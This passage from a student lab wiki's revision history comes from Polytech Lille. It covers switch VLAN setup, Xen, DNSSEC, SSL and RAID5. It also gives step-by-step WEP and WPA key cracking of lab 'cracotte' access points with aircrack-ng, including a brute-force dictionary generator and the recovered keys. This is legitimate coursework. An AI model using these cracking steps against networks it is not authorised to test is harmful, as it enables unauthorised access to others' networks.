PSK cracotte07 <br /> 04:DA:D2:9C:50:59 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte10 <br /> 04:DA:D2:9C:50:54 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte05 <br /> 04:DA:D2:9C:50:57 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte08 <br /> 04:DA:D2:9C:50:51 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte02 <br /> 04:DA:D2:CF:01:91 -69 2 0 0 5 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> C8:00:84:84:00:53 -70 3 0 0 9 54e. WPA2 CCMP PSK PolytechGuests <br /> C8:00:84:84:00:52 -71 4 0 0 9 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 04:DA:D2:CF:01:98 -70 2 0 0 5 54e. WPA2 CCMP MGT eduroam <br /> 04:DA:D2:CF:01:90 -71 3 0 0 5 54e. WPA2 CCMP MGT LILLE1 <br /> 04:DA:D2:CF:01:95 -72 2 0 0 5 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 04:DA:D2:CF:01:97 -72 2 0 0 5 54e. WPA2 CCMP MGT PolytechLilleStaff <br /> 04:DA:D2:CF:01:96 -72 2 0 0 5 54e. WPA2 CCMP MGT &lt;length: 1&gt;<br /> <br /> 3. Nous décidons de cracker cracotte09, on lance un airodump sur son essid et on effectue une capture <br /> <br /> airodump-ng -w cracotte09 --encrypt wpa -c 13 -essid cracotte09 wlan05<br /> <br /> 4. On lance le aircrack avec le fichier de capture et notre dictionnaire généré précédemment :<br /> <br /> aircrack-ng -w dictionnaire.txt cracotte09-01.cap<br /> <br /> 5. Au bout de 57:55 minutes, nous avons obtenu la clé suivante :<br /> <br /> passphrase : 12399909</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Cahier_2016_groupe_n%C2%B07&diff=35899 2016-12-12T10:13:36Z

<p>Rruet : /* Sécurisation des données */</p> <hr /> <div>==Cahier des charges==<br /> <br /> Mise en réseau des commutateurs 6006 en E304<br /> <br /> ==Avancement du travail==<br /> <br /> ===Configuration du 6006===<br /> <br /> -Création de 10 VLAN (vlans 2 à 11)pour chacun des 10 groupes du TP sur les ports 4/1 à 4/10 <br /> <br /> -Création d'un VLAN (vlan 12) pour les machines virtuelles sur le port 4/11<br /> <br /> -Création de 4 ports Trunk sur les ports 4/48, 5/48, 6/48, 7/48 pour respectivement le routeur E304, le routeur E306, le bounding linux et la borne WiFi.<br /> <br /> La suite de commande Cisco pour configurer le vlan x avec le nome nameX est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#vlan database<br /> 3 Switch-E304(vlan)#vlan x name nameX<br /> 4 Switch-E304(vlan)#exit<br /> <br /> La suite de commande pour configurer le port 4/x en mode accès sur le vlan x est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#conf t<br /> 3 Switch-E304(config)#interface GigabitEthernet 4/x<br /> 4 Switch-E304(config-if)#switchport<br /> 5 Switch-E304(config-if)#switchport access vlan x<br /> 6 Switch-E304(config-if)#no shutdown<br /> 7 Switch-E304(config-if)#end<br /> 8 Switch-E304#write memory (enregistrer la configuration)<br /> <br /> Pour configurer les ports trunk, il suffit de remplacer la ligne 5 précédente par :<br /> <br /> 5 Switch-E304(config-if)#switchport mode trunk<br /> <br /> ===Installation de xen===<br /> <br /> xen-create-image --hostname=Ironman --ip=193.48.57.167 --netmask=255.255.255.240 --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie <br /> --dir=/usr/local/xen --gateway=193.48.57.172<br /> <br /> ===Configuration d'une EtherChannel===<br /> <br /> Nous avons configuré une Etherchannel entre notre commutateur et notre routeur. Cela vise à remplacer la liaison trunk simple Gigabit qui les lie déjà, en une liaison 8gigabit. Nous remplacerons donc le port 4/48 par les ports 4/25 à 4/32.<br /> <br /> Voici la commande à rentrer dans l'interface de configuration du commutateur :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#conf t<br /> 3 Switch-E304(config)#interface range GigabitEthernet 4/25 - 32<br /> 4 Switch-E304(config-if)#switchport<br /> 5 Switch-E304(config-if)#switchport mode trunk<br /> 6 Switch-E304(config-if)#channel-protocol lacp<br /> 7 Switch-E304(config-if)#channel-group 1 mode passive<br /> 8 Switch-E304(config-if)#no shutdown<br /> 9 Switch-E304(config-if)#end<br /> 10 Switch-E304#write memory (enregistrer la configuration) <br /> <br /> Pareil dans l'interface de configuration du routeur, sauf que ce sera pour les ports 0/1 à 0/8, et que le channel-group sera en mode active.<br /> <br /> ===Serveur DNS et DNSSEC avec bind===<br /> <br /> La première étape consiste à modifier les informations de notre nom de domaine sur le site de Gandi.<br /> Il faut alors se diriger sur la rubrique :''Gérer les Glue records''.<br /> A partir de ce moment là, nous sommes libres de donner les informations suivantes à notre nom de domaine :<br /> <br /> '''nom du serveur''' : ns.bielloumutherfucker.space<br /> <br /> '''IP''' : 193.48.57.167<br /> <br /> On peut ensuite modifier les serveurs de nom, toujours sur le site de Gandi, dans la rubrique ''modifier les serveurs DNS'' :<br /> <br /> '''DNS1''' : ns.bielloumutherfucker.space<br /> <br /> '''DNS2''' : ns6.gandi.net (serveur secondaire de Gandi)<br /> <br /> Une fois ces étapes effectuées, nous pouvons passer à la configuration du DNS avec bind. On se place alors dans le dossier ''/etc/bind'' de notre machine virtuelle.<br /> <br /> Nous modifions dans un premier temps le fichier ''named.conf.local'' afin d'y créer nos zones :<br /> <br /> zone &quot;bielloumutherfucker.space&quot; {<br /> type master;<br /> FIle &quot;/etc/bind/zones/db.bielloumutherfucker.space&quot;;<br /> allow-transfer {217.70.177.40; };<br /> notify yes; <br /> };<br /> <br /> nous créons ensuite un dossier ''zones'' à l'intérieur duquel nous créons notre fichier de zone ''db.bielloumutherfucker.space'' :<br /> <br /> $TTL 604800<br /> @ IN SOA ns.bielloumutherfucker.space. root.bielloumutherfucker.space. (<br /> 2015102001 ; Serial<br /> 86400 ; Refresh<br /> 3600 ; Retry<br /> 2419200 ; Expire<br /> 86400 ) ; Negative Cache TTL<br /> <br /> @ IN NS ns.bielloumutherfucker.space.<br /> @ IN NS ns6.gandi.net.<br /> ns IN A 193.48.57.167<br /> www IN A 193.48.57.167<br /> @ IN A 193.48.57.167<br /> <br /> Il nous faut ensuite modifier notre fichier ''/etc/resolv.conf'' afin de passer par notre serveur :<br /> <br /> search bielloumutherfucker.space<br /> nameserver 193.48.57.167<br /> <br /> A partir de ce moment là, notre serveur DNS est opérationnel. Il nous faut maintenant le sécuriser grâce à DNSSEC.<br /> <br /> Dans un premier temps, il nous faut générer les clefs asymétriques KSK et ZSK. Nous entrons alors les commandes suivantes dans le terminal :<br /> <br /> dnssec-keygen -a RSASHA1 -f KSK -b 2048 -r /dev/urandom -n ZONE bielloumutherfucker.space --&gt; clef KSK<br /> dnssec-keygen -a RSASHA1 --b 1024 -r /dev/urandom -n ZONE bielloumutherfucker.space --&gt; clef ZSK<br /> <br /> Nous avons maintenant 4 clefs : deux pour chaque type de clef (KSK ou ZSK) avec deux extention différentes (.key pour la clef publique, .private pour la privée).<br /> <br /> Après les avoir placé dans le répertoire ''bielloumutherfucker.space.dnssec'' que nous avons crée, on les renomme selon le schéma suivant :<br /> <br /> bielloumutherfucker.space-ksk.key et bielloumutherfucker.space-ksk.private<br /> bielloumutherfucker.space-zsk.key et bielloumutherfucker.space-zsk.private<br /> <br /> Nous pouvons maintenant signer la zone à l'aide de la commande suivante (depuis le dossier /etc/bind) :<br /> <br /> dnssec-signzone -o bielloumutherfucker.space -k bielloumutherfucker.space-ksk <br /> zones/db.bielloumutherfucker.space bielloumutherfucker.space-zsk<br /> <br /> Une nouvelle zone, signée, a donc été créée dans notre dossier ''zones''. Il ne nous reste plus qu'à modifier le fichier ''named.conf.local'' en rajoutant un ''.signed'' à la fin du champ File pour notre zone. Nous redémarrons ensuite le serveur bind.<br /> <br /> service bind9 restart<br /> <br /> Nous retournons sur le site de gandi et dans la rubrique ''gérer DNSSEC'' nous ajoutons notre clef publique avec l'algorithme ''RSASHA1''. Une fois la clef ajoutée sur gandi, on peut voir que tous s'est bien passé en faisant un tour sur le site ''Zone Master'', l'attribut DNSSEC est en effet coché et vert.<br /> <br /> [[Fichier:dnssec.png]]<br /> <br /> ===Sécurisation du site via certificat SSL===<br /> <br /> Il faut dans un premier temps générer la clefs CSR que nous donnerons à Gandi.<br /> <br /> root@Ironman:/etc/apache2/sites-available/clef# openssl req -nodes -newkey rsa:2048 -sha256 -keyout Ironman.key -out Ironman.csr<br /> Generating a 2048 bit RSA private key<br /> ..................................................................+++<br /> .........................................+++<br /> writing new private key to 'Ironman.key'<br /> -----<br /> You are about to be asked to enter information that will be incorporated<br /> into your certificate request.<br /> What you are about to enter is what is called a Distinguished Name or a DN.<br /> There are quite a few fields but you can leave some blank<br /> For some fields there will be a default value,<br /> If you enter '.', the field will be left blank.<br /> -----<br /> Country Name (2 letter code) [AU]:FR<br /> State or Province Name (full name) [Some-State]:Nord <br /> Locality Name (eg, city) []:Lille<br /> Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille<br /> Organizational Unit Name (eg, section) []:IMA<br /> Common Name (e.g. server FQDN or YOUR name) []:bielloumutherfucker.space<br /> Email Address []:<br /> Please enter the following 'extra' attributes<br /> to be sent with your certificate request<br /> A challenge password []:<br /> An optional company name []:<br /> <br /> A partir de ce moment là, ls clefs ont été générées : <br /> <br /> root@Ironman:/etc/apache2/sites-available/clef# ls<br /> Ironman.csr Ironman.key<br /> <br /> <br /> Et nous pouvons donner la CSR à Gandhi afin d'activer la procédure d'activation.<br /> <br /> De façon à recevoir le mail sur admin@bielloumutherfucker.space, nous devons modifier le fichier /etc/aliases et y rajouter la ligne suivante:<br /> <br /> [...]<br /> admin: root<br /> <br /> Une fois le certificat validé, il faut déplacer les clefs dans les dossiers suivants :<br /> <br /> cp Ironman.key /etc/ssl/private/bielloumutherfucker.space.key<br /> cp certificate-380187.crt /etc/ssl/certs/bielloumutherfucker.space.crt<br /> cp GandiStandardSSLCA2.pem /etc/ssl/certs/GandiStandardSSLCA2.pem (clef intermédiaire)<br /> <br /> On effectue ensuite un rehash des certificats :<br /> <br /> c_rehash /etc/ssl/certs<br /> Doing /etc/ssl/certs<br /> bielloumutherfucker.space.crt =&gt; 6860aa7d.0<br /> bielloumutherfucker.space.crt =&gt; 5692355e.0<br /> ssl-cert-snakeoil.pem =&gt; a036afff.0<br /> ssl-cert-snakeoil.pem =&gt; 4390636f.0<br /> GandiStandardSSLCA2.pem =&gt; 8544bf03.0<br /> GandiStandardSSLCA2.pem =&gt; e279a80b.0<br /> <br /> On crée ensuite le fichier ''000-bielloumutherfucker.space-ssl.conf'' dans le dossier /etc/apache2/sites-available :<br /> <br /> #NameVirtualHost *:443<br /> &lt;VirtualHost 193.48.57.167:443&gt;<br /> ServerName www.bielloumutherfucker.space<br /> ServerAlias bielloumutherfucker.space<br /> DocumentRoot /var/www/html/<br /> CustomLog /var/log/apache2/secure_access.log combined<br /> <br /> SSLEngine on<br /> SSLCertificateFile /etc/ssl/certs/bielloumutherfucker.space.crt<br /> SSLCertificateKeyFile /etc/ssl/private/bielloumutherfucker.space.key<br /> SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br /> SSLVerifyClient None<br /> &lt;/VirtualHost&gt;<br /> &lt;Directory /var/www/html&gt;<br /> Require all granted<br /> &lt;/Directory&gt;<br /> ServerName &quot;bielloumutherfucker.space&quot;<br /> <br /> Puis on modifie le fichier /etc/apache/ports.conf afin qu'apache écoute sur le port 443 (ssl) :<br /> <br /> Listen 80 443<br /> &lt;IfModule ssl_module&gt;<br /> Listen 443<br /> &lt;/IfModule&gt;<br /> &lt;IfModule mod_gnutls.c&gt;<br /> Listen 443<br /> &lt;/IfModule&gt;<br /> <br /> On doit ensuite autoriser apache à utiliser son module ssl : <br /> <br /> a2enmod ssl<br /> <br /> Puis on autorise notre site à utiliser ssl :<br /> <br /> a2ensite 000-bielloumutherfucker.space-ssl.conf<br /> <br /> Ensuite :<br /> <br /> service apache2 restart<br /> service apache2 reload<br /> <br /> Maintenant, lorsqu'on se connecte sur notre site avec le préfixe &quot;https://&quot;, le site s'ouvre bien, et on aperçoit un cadenas vert certifiant que le site est sécurisé.<br /> <br /> [[Fichier:ssl.png]]<br /> <br /> ===Sécurisation des données===<br /> <br /> Nous commençons dans un premier temps à créer trois partitions via les commandes suivantes :<br /> <br /> lvcreate -L 1G -n /dev/virtual/ironman-1 -v<br /> lvcreate -L 1G -n /dev/virtual/ironman-2 -v<br /> lvcreate -L 1G -n /dev/virtual/ironman-3 -v<br /> <br /> Puis nous modifions notre fichier de configuration de machine virtuelle Ironman.cfg en y ajoutant les trois lignes suivantes dans la partie '''disk''':<br /> <br /> 'phy:/dev/virtual/ironman-1,xvdd,w',<br /> 'phy:/dev/virtual/ironman-2,xvde,w',<br /> 'phy:/dev/cirtual/ironman-3,xvdf,w',<br /> <br /> A partir de ce moment là, on relance notre machine virtuelle, puis on y installe le paquet mdadm.<br /> <br /> Nous créons ensuite le volume /dev/md0:<br /> <br /> mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd /dev/xvde /dev/xvdf <br /> <br /> On affiche ensuite la configuration actuelle de /dev/md0:<br /> <br /> root@Ironman:~# mdadm --detail /dev/md0<br /> /dev/md0:<br /> Version : 1.2<br /> Creation Time : Thu Dec 8 16:52:21 2016<br /> Raid Level : raid5<br /> Array Size : 2095104 (2046.34 MiB 2145.39 MB)<br /> Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB)<br /> Raid Devices : 3<br /> Total Devices : 3<br /> Persistence : Superblock is persistent<br /> Update Time : Thu Dec 8 16:52:21 2016<br /> State : clean <br /> Active Devices : 3<br /> Working Devices : 3<br /> Failed Devices : 0<br /> Spare Devices : 0<br /> Layout : left-symmetric<br /> Chunk Size : 512K<br /> Name : Ironman:0 (local to host Ironman)<br /> UUID : a82c02d3:4861fdcc:aa9f6f91:45e6f5d9<br /> Events : 0<br /> Number Major Minor RaidDevice State<br /> 0 202 48 0 active sync /dev/xvdd<br /> 1 202 64 1 active sync /dev/xvde<br /> 2 202 80 2 active sync /dev/xvdf<br /> <br /> On sauvegarde ensuite la configuration de md0 :<br /> <br /> root@Ironman:~# mdadm --detail --scan &gt;&gt; /etc/mdadm/mdadm.conf<br /> <br /> Puis nous créons un dossier /datamd0 que nous montons sur notre device md0 :<br /> <br /> root@Ironman:~# mkfs /dev/md0<br /> root@Ironman:~# mkdir /datamd0<br /> root@Ironman:/datamd0# mount /dev/md0 /datamd0/<br /> <br /> <br /> Nous pouvons ensuite créer un fichier de test sur le raid 5 (iron-man.txt):<br /> <br /> root@Ironman:/datamd0# ls<br /> lost+found test_ironman.txt<br /> <br /> On ferme ensuite notre machine, puis nous modifions son fichier .cfg afin qu'elle ne prenne plus en compte la partition xvdd (on commente la ligne). <br /> Nous relançons ensuite la machine virtuelle, puis nous réaffichons la configuration de md0 :<br /> <br /> root@Ironman:~# mdadm --detail /dev/md0<br /> /dev/md0:<br /> Version : 1.2<br /> Creation Time : Thu Dec 8 16:52:21 2016<br /> Raid Level : raid5<br /> Array Size : 2095104 (2046.34 MiB 2145.39 MB)<br /> Used Dev Size : 1047552 (1023.17 MiB 1072.69 MB)<br /> Raid Devices : 3<br /> Total Devices : 2<br /> Persistence : Superblock is persistent<br /> Update Time : Thu Dec 8 17:05:13 2016<br /> State : clean, degraded <br /> Active Devices : 2<br /> Working Devices : 2<br /> Failed Devices : 0<br /> Spare Devices : 0<br /> Layout : left-symmetric<br /> Chunk Size : 512K<br /> Name : Ironman:0 (local to host Ironman)<br /> UUID : a82c02d3:4861fdcc:aa9f6f91:45e6f5d9<br /> Events : 6<br /> Number Major Minor RaidDevice State<br /> 0 0 0 0 removed<br /> 1 202 64 1 active sync /dev/xvde<br /> 2 202 80 2 active sync /dev/xvdf<br /> <br /> <br /> On constate bien que la partion xvdd a été enlevée. Et que le fichier de test sur le raid est toujours présent :<br /> <br /> root@Ironman:~# ls /datamd0/<br /> lost+found test_ironman.txt<br /> <br /> On enlève la partition xvdf :<br /> <br /> root@Ironman:~# mdadm --set-faulty /dev/md0 /dev/xvdf<br /> [ 196.176623] md/raid:md0: Disk failure on xvdf, disabling device.<br /> [ 196.176623] md/raid:md0: Operation continuing on 1 devices.<br /> mdadm: set /dev/xvdf faulty in /dev/md0<br /> root@Ironman:~# mdadm --remove /dev/md0 /dev/xvdf<br /> [ 229.573919] md: unbind&lt;xvdf&gt;<br /> [ 229.573933] md: export_rdev(xvdf)<br /> mdadm: hot removed /dev/xvdf from /dev/md0<br /> <br /> ===Crackage de clé WEP===<br /> <br /> Afin de cracker les clés WEP, nous avons d'abord recherché toutes les points d'accès Wifi disponible autour de nous et possédant une clé WEP.<br /> Pour cela, nous avons utilisé la commande : airodump-ng --encrypt wep wlan2<br /> <br /> On obtient l'écran suivant :<br /> <br /> CH 12 ][ Elapsed: 0 s ][ 2016-03-31 20:22 <br /> <br /> BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br /> <br /> 04:DA:D2:CF:01:94 -74 0 0 0 -1 -1 PolytechLille <br /> 04:DA:D2:9C:50:57 -62 1 6 2 2 54e. WEP WEP cracotte08 <br /> 04:DA:D2:9C:50:56 -67 2 0 0 2 54e. WEP WEP cracotte07 <br /> 04:DA:D2:9C:50:54 -66 1 5 2 2 54e. WEP WEP cracotte05 <br /> 04:DA:D2:9C:50:52 -63 1 80 38 2 54e. WEP WEP cracotte03 <br /> 04:DA:D2:9C:50:53 -61 0 24 11 2 -1 WEP WEP &lt;length: 0&gt; <br /> 04:DA:D2:9C:50:55 -68 1 14 6 2 54e. WEP WEP cracotte06 <br /> 04:DA:D2:9C:50:50 -60 0 73 35 2 -1 WEP WEP &lt;length: 0&gt; <br /> 04:DA:D2:9C:50:51 -63 1 52 25 2 54e. WEP WEP cracotte02 <br /> 44:AD:D9:5F:87:00 -42 3 1 0 3 54e. WEP WEP40 Wolverine <br /> <br /> BSSID STATION PWR Rate Lost Frames Probe <br /> <br /> 04:DA:D2:CF:01:94 00:0C:E7:91:C1:7D -56 1e- 1e 0 13 <br /> 04:DA:D2:9C:50:57 00:0F:B5:92:22:66 -68 54e-11e 15 5 <br /> 04:DA:D2:9C:50:54 00:0F:B5:92:23:74 -72 36e- 5e 0 7 <br /> 04:DA:D2:9C:50:52 00:0F:B5:92:23:6A -60 54e-48e 79 81 <br /> 04:DA:D2:9C:50:53 00:0F:B5:92:22:68 -64 48e-54e 111 24 <br /> 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -66 0 -48e 128 13 <br /> 04:DA:D2:9C:50:50 00:0F:B5:92:23:75 -62 54e-54e 92 75 <br /> 04:DA:D2:9C:50:51 00:0F:B5:92:24:51 -60 48e-48e 63 53 <br /> (not associated) 9C:2A:83:45:F0:2D -80 0 - 1 0 1 <br /> (not associated) 8A:1B:9C:B1:EC:8C -70 0 - 1 5 2 <br /> 44:AD:D9:5F:87:00 AC:5F:3E:59:90:D5 -40 0 - 1 0 2<br /> <br /> Nous avons choisit de cracker cracotte06. Nous avons créé un fichier de capture (.cap) ciblant cracotte06 grâce à la commande :<br /> airodump-ng -w cracotte06 -c 2 --bssid 04:DA:D2:9C:50:55 wlan2<br /> <br /> On obtient l'écran suivant :<br /> <br /> CH 2 ][ Elapsed: 8 s ][ 2016-03-31 20:30 <br /> <br /> BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID<br /> <br /> 04:DA:D2:9C:50:55 -64 0 59 770 64 2 54e. WEP WEP cracotte06 <br /> <br /> BSSID STATION PWR Rate Lost Frames Probe <br /> <br /> 04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -68 6e-54e 5108 718 <br /> <br /> Une fois le fichier de capture créé, nous avons exécuter la commande <br /> <br /> aircrack cracotte06-01.cap<br /> <br /> afin débuter le crackage de la clé WEP.<br /> <br /> On obtient le résultat suivant en quelques minutes :<br /> <br /> [00:01:53] Tested 279622 keys (got 31535 IVs)<br /> <br /> KB depth byte(vote)<br /> 0 0/ 1 EE(44544) A1(39936) 55(39168) BA(38400) E2(37632) <br /> 1 0/ 1 EE(47872) 79(37888) 0E(37120) C0(37120) 37(36864) <br /> 2 0/ 1 EE(43008) 83(40448) 2B(39680) B2(39680) 3F(38912) <br /> 3 0/ 1 EE(46592) 8E(38656) 30(37888) 0A(37120) 86(37120) <br /> 4 0/ 1 EE(46336) C2(39168) 5D(38912) 89(38400) 1B(38144) <br /> 5 0/ 1 EE(50176) CB(41472) C5(39936) 35(39168) 3C(38656) <br /> 6 0/ 1 EE(41216) 0C(39936) AB(37888) B1(37888) DE(37120) <br /> 7 0/ 2 EE(41472) 38(40960) D6(39168) 9F(38400) C4(37888) <br /> 8 0/ 1 EE(39936) 99(38656) 11(38400) FD(38400) E6(37632) <br /> 9 0/ 3 7C(38912) 05(38400) 4C(38400) C1(38144) 22(37888) <br /> 10 0/ 1 D1(38144) 42(37632) 99(37632) 9D(37632) 94(37376) <br /> 11 1/ 1 A0(38912) 2B(38656) 65(37888) E8(37888) A9(37632) <br /> 12 0/ 1 44(43740) 35(38548) A7(38252) 3A(37560) 88(37560) <br /> <br /> KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ] <br /> Decrypted correctly: 100%<br /> <br /> La clé a été trouver et sa valeur est &quot;EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44&quot;<br /> <br /> ===Craquage de clé WPA===<br /> <br /> Le craquage d'une clé WPA est beaucoup plus long que celui d'une clé WEP car le crack doit effectuer un test sur tout les nombres à 8 chiffres jusqu'à arriver au mot de passe de la borne Wifi. C'est un crack en force brute.<br /> <br /> Nous avons donc tout d'abord génerer un fichier texte contenant tout les nombres à 8 chiffres (de 00000000 à 99999999) grâce au petit programme c suivant :<br /> <br /> #include &lt;stdio.h&gt;<br /> #include &lt;stdlib.h&gt;<br /> <br /> #define MAX_NUM 99999999<br /> <br /> int main(){<br /> long chiffre = 0;<br /> FILE* fp = NULL;<br /> fp = fopen(&quot;dictionnaire.txt&quot;,&quot;a+&quot;);<br /> if (fp != NULL){<br /> for (chiffre=0;chiffre&lt; MAX_NUM + 1;chiffre++)<br /> {<br /> fprintf(fp,&quot;%08li\n&quot;,chiffre);<br /> }<br /> fclose(fp);<br /> }<br /> return 0;<br /> }<br /> <br /> Une fois le dictionnaire généré, on effectue la même commande qu'avec le crackage WEP mais pour les clés WPA : <br /> <br /> 1. On bascule l'interface wifi en mode monitor :<br /> airmon-ng start wlan2<br /> <br /> 2. On fait un airodump-ng de tout les réseaux possédant un chiffrage WPA :<br /> airodump-ng --encrypt WPA wlan2<br /> <br /> On obtient le résultat suivant :<br /> <br /> 00:19:07:C5:0F:A4 -44 7 8 2 1 54e. WPA2 CCMP MGT PolytechLille <br /> 00:19:07:C5:0F:A2 -48 5 0 0 1 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A5 -48 6 0 0 1 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A3 -50 7 0 0 1 54e. WPA2 CCMP PSK PolytechGuests <br /> 00:19:07:C5:0F:A1 -50 7 0 0 1 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A7 -52 6 0 0 1 54e. WPA2 CCMP MGT PolytechLilleStaff <br /> 00:19:07:C5:0F:A6 -52 5 0 0 1 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> 00:19:07:C5:0F:A0 -54 6 2 0 1 54e. WPA2 CCMP MGT LILLE1 <br /> 00:19:07:C5:0F:A8 -55 5 5 0 1 54e. WPA2 CCMP MGT eduroam <br /> 04:DA:D2:9C:50:53 -62 5 0 0 13 54e. WPA2 CCMP PSK cracotte04 <br /> 04:DA:D2:9C:50:52 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte03 <br /> 04:DA:D2:9C:50:58 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte09 <br /> 04:DA:D2:9C:50:50 -66 5 0 0 13 54e. WPA2 CCMP PSK cracotte01 <br /> 04:DA:D2:9C:50:55 -65 6 0 0 13 54e. WPA2 CCMP PSK cracotte06 <br /> 04:DA:D2:9C:50:56 -65 3 0 0 13 54e. WPA2 CCMP PSK cracotte07 <br /> 04:DA:D2:9C:50:59 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte10 <br /> 04:DA:D2:9C:50:54 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte05 <br /> 04:DA:D2:9C:50:57 -66 4 0 0 13 54e. WPA2 CCMP PSK cracotte08 <br /> 04:DA:D2:9C:50:51 -67 4 0 0 13 54e. WPA2 CCMP PSK cracotte02 <br /> 04:DA:D2:CF:01:91 -69 2 0 0 5 54e. WPA2 CCMP MGT &lt;length: 1&gt; <br /> C8:00:84:84:00:53 -70 3 0 0 9 54e. WPA2 CCMP PSK PolytechGuests <br /> C8:00:84:84:00:52 -71 4 0 0 9 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 04:DA:D2:CF:01:98 -70 2 0 0 5 54e. WPA2 CCMP MGT eduroam <br /> 04:DA:D2:CF:01:90 -71 3 0 0 5 54e. WPA2 CCMP MGT LILLE1 <br /> 04:DA:D2:CF:01:95 -72 2 0 0 5 54e. WPA2 CCMP PSK &lt;length: 1&gt; <br /> 04:DA:D2:CF:01:97 -72 2 0 0 5 54e. WPA2 CCMP MGT PolytechLilleStaff <br /> 04:DA:D2:CF:01:96 -72 2 0 0 5 54e. WPA2 CCMP MGT &lt;length: 1&gt;<br /> <br /> 3. Nous décidons de cracker cracotte09, on lance un airodump sur son essid et on effectue une capture <br /> <br /> airodump-ng -w cracotte09 --encrypt wpa -c 13 -essid cracotte09 wlan05<br /> <br /> 4. On lance le aircrack avec le fichier de capture et notre dictionnaire généré précédemment :<br /> <br /> aircrack-ng -w dictionnaire.txt cracotte09-01.cap<br /> <br /> 5. Au bout de 57:55 minutes, nous avons obtenu la clé suivante :<br /> <br /> passphrase : 12399909</div>

Rruet https://projets-ima.plil.fr/mediawiki/index.php?title=Cahier_2016_groupe_n%C2%B07&diff=35773 2016-12-08T14:41:02Z

<p>Rruet : /* Sécurisation des données */</p> <hr /> <div>==Cahier des charges==<br /> <br /> Mise en réseau des commutateurs 6006 en E304<br /> <br /> ==Avancement du travail==<br /> <br /> ===Configuration du 6006===<br /> <br /> -Création de 10 VLAN (vlans 2 à 11)pour chacun des 10 groupes du TP sur les ports 4/1 à 4/10 <br /> <br /> -Création d'un VLAN (vlan 12) pour les machines virtuelles sur le port 4/11<br /> <br /> -Création de 4 ports Trunk sur les ports 4/48, 5/48, 6/48, 7/48 pour respectivement le routeur E304, le routeur E306, le bounding linux et la borne WiFi.<br /> <br /> La suite de commande Cisco pour configurer le vlan x avec le nome nameX est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#vlan database<br /> 3 Switch-E304(vlan)#vlan x name nameX<br /> 4 Switch-E304(vlan)#exit<br /> <br /> La suite de commande pour configurer le port 4/x en mode accès sur le vlan x est la suivante :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#conf t<br /> 3 Switch-E304(config)#interface GigabitEthernet 4/x<br /> 4 Switch-E304(config-if)#switchport<br /> 5 Switch-E304(config-if)#switchport access vlan x<br /> 6 Switch-E304(config-if)#no shutdown<br /> 7 Switch-E304(config-if)#end<br /> 8 Switch-E304#write memory (enregistrer la configuration)<br /> <br /> Pour configurer les ports trunk, il suffit de remplacer la ligne 5 précédente par :<br /> <br /> 5 Switch-E304(config-if)#switchport mode trunk<br /> <br /> ===Installation de xen===<br /> <br /> xen-create-image --hostname=Ironman --ip=193.48.57.167 --netmask=255.255.255.240 --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie <br /> --dir=/usr/local/xen --gateway=193.48.57.172<br /> <br /> ===Configuration d'une EtherChannel===<br /> <br /> Nous avons configuré une Etherchannel entre notre commutateur et notre routeur. Cela vise à remplacer la liaison trunk simple Gigabit qui les lie déjà, en une liaison 8gigabit. Nous remplacerons donc le port 4/48 par les ports 4/25 à 4/32.<br /> <br /> Voici la commande à rentrer dans l'interface de configuration du commutateur :<br /> <br /> 1 Switch-E304&gt;enable<br /> 2 Switch-E304#conf t<br /> 3 Switch-E304(config)#interface range GigabitEthernet 4/25 - 32<br /> 4 Switch-E304(config-if)#switchport<br /> 5 Switch-E304(config-if)#switchport mode trunk<br /> 6 Switch-E304(config-if)#channel-protocol lacp<br /> 7 Switch-E304(config-if)#channel-group 1 mode passive<br /> 8 Switch-E304(config-if)#no shutdown<br /> 9 Switch-E304(config-if)#end<br /> 10 Switch-E304#write memory (enregistrer la configuration) <br /> <br /> Pareil dans l'interface de configuration du routeur, sauf que ce sera pour les ports 0/1 à 0/8, et que le channel-group sera en mode active.<br /> <br /> ===Serveur DNS et DNSSEC avec bind===<br /> <br /> La première étape consiste à modifier les informations de notre nom de domaine sur le site de Gandi.<br /> Il faut alors se diriger sur la rubrique :''Gérer les Glue records''.<br /> A partir de ce moment là, nous sommes libres de donner les informations suivantes à notre nom de domaine :<br /> <br /> '''nom du serveur''' : ns.bielloumutherfucker.space<br /> <br /> '''IP''' : 193.48.57.167<br /> <br /> On peut ensuite modifier les serveurs de nom, toujours sur le site de Gandi, dans la rubrique ''modifier les serveurs DNS'' :<br /> <br /> '''DNS1''' : ns.bielloumutherfucker.space<br /> <br /> '''DNS2''' : ns6.gandi.net (serveur secondaire de Gandi)<br /> <br /> Une 